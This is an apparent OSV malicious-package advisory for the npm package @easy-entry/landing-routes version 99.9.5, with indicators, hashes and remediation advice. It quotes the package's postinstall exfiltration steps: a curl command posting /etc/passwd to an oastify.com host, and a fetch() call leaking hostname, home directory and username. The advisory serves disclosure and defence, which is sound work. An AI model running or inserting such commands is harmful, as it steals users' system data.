MAL-2026-5408

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@easy-entry/landing-routes/MAL-2026-5408.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5408
Aliases
  • GHSA-xp5g-jv74-3fxh
Published
2026-06-09T17:18:44Z
Modified
2026-08-13T22:15:15.047167200Z
Summary
Malicious code in @easy-entry/landing-routes (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (16fd1aa3384490a5c01cbdc619bb61ea5fc70f853c8e8ed2e9836d2ca4617556)

On npm install, the package's postinstall hook runs two exfiltration paths against an attacker-controlled Burp Collaborator endpoint. First, package.json line 4 invokes /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, posting the installer's /etc/passwd to a DNS-logging subdomain that encodes the victim's hostname. Second, scripts/scream3gg.js reads os.hostname(), os.homedir(), and os.userInfo().username, hex-encodes them, and issues fetch('http://' + safeData + '.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com'), leaking host identifiers via DNS+HTTP. Both paths fire automatically on default install with no opt-in.

Source: ghsa-malware (6049a1d7f849fa4f8e9d245cdb802a27da3af9abd2d1d7a8fa72aed06c010a7d)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "modified_time": "2026-06-09T17:18:44Z",
            "sha256": "16fd1aa3384490a5c01cbdc619bb61ea5fc70f853c8e8ed2e9836d2ca4617556",
            "versions": [
                "99.9.5"
            ],
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-005019",
            "import_time": "2026-06-09T17:45:49.398759157Z"
        },
        {
            "source": "amazon-inspector",
            "modified_time": "2026-06-09T17:18:44Z",
            "versions": [
                "99.9.5"
            ],
            "sha256": "1cba0345cf355b11407a4df4920609c18b072e0c993445f86484813768961369",
            "id": "IN-MAL-2026-005020",
            "import_time": "2026-06-09T17:45:49.451544597Z"
        },
        {
            "source": "ghsa-malware",
            "sha256": "6049a1d7f849fa4f8e9d245cdb802a27da3af9abd2d1d7a8fa72aed06c010a7d",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "modified_time": "2026-08-13T15:29:41Z",
            "id": "GHSA-xp5g-jv74-3fxh",
            "import_time": "2026-08-13T22:11:44.654595533Z"
        }
    ]
}
References
Credits

Affected packages

npm / @easy-entry/landing-routes

Package

Name
@easy-entry/landing-routes
View open source insights on deps.dev
Purl
pkg:npm/%40easy-entry/landing-routes

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

99.*
99.9.5

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@easy-entry/landing-routes/MAL-2026-5408.json"
indicators 
{
    "domains": [
        "2f686f6d652f7363616e.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com",
        "7363616e2d666535376161356263396562.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com",
        "7363616e.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com"
    ],
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "9c65010f1c2d82de2f1d092a61670248ed69db99b174512daabbe6f86cf964d3",
            "tlsh": "58d0a7b07810c7b379cd06778118a1557d65c95b120479a645df87e5912436278e6906"
        },
        {
            "path": "scripts/scream3gg.js",
            "sha256": "9b962b07165e35cb12a1424434b1d1be779ead9b43df94af8baf0e5a1b66a6c9",
            "tlsh": "74f08ba955b11938382b50819dafd40db1e7fa0630a6e4f2fedd86810f44865bd22dde"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha1": "8d7f5fc40b957af790bb0c4b6461e6a783fbb19a",
                "sha512_sri": "sha512-6KdmTOrXanUVAlLuqEl/7PdHvIOT+wLTbDTNHzW/dLZVbASOaXvCGswMqp6d9dLhOzhOqQxB5ok28qc8LppO6w=="
            },
            "filename": "landing-routes-99.9.5.tgz"
        }
    ]
}